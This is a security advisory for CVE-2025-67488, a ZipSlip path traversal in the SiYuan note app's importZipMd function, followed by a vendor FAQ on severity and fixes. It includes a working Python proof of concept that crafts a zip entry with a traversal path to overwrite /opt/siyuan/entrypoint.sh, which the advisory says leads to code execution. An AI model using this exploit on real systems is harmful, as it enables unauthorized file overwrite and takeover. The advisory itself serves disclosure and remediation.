CVE-2025-67488

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip:

#!/usr/bin/env python3
import sys, base64, zipfile, io, time

def prepare_zipslip(filename):
    orgfile1 = open('Test.md','rb').read()
    payload =  open('entrypoint.sh','rb').read() #b"testpayload"
    
    zipslip = io.BytesIO()
    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
        info = zipfile.ZipInfo('Test.md')
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, orgfile1)
        
        info = zipfile.ZipInfo(filename)
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, payload)
    return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2025-67488 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2025-67488? CVE-2025-67488 is a high-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20251202123337-6ef83b42c7ce. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2025-67488? CVE-2025-67488 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2025-67488? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20251202123337-6ef83b42c7ce is affected.
4. Is there a fix for CVE-2025-67488? No fixed version is listed for CVE-2025-67488 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2025-67488 exploitable, and should I be worried? Whether CVE-2025-67488 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-67488 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-67488? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.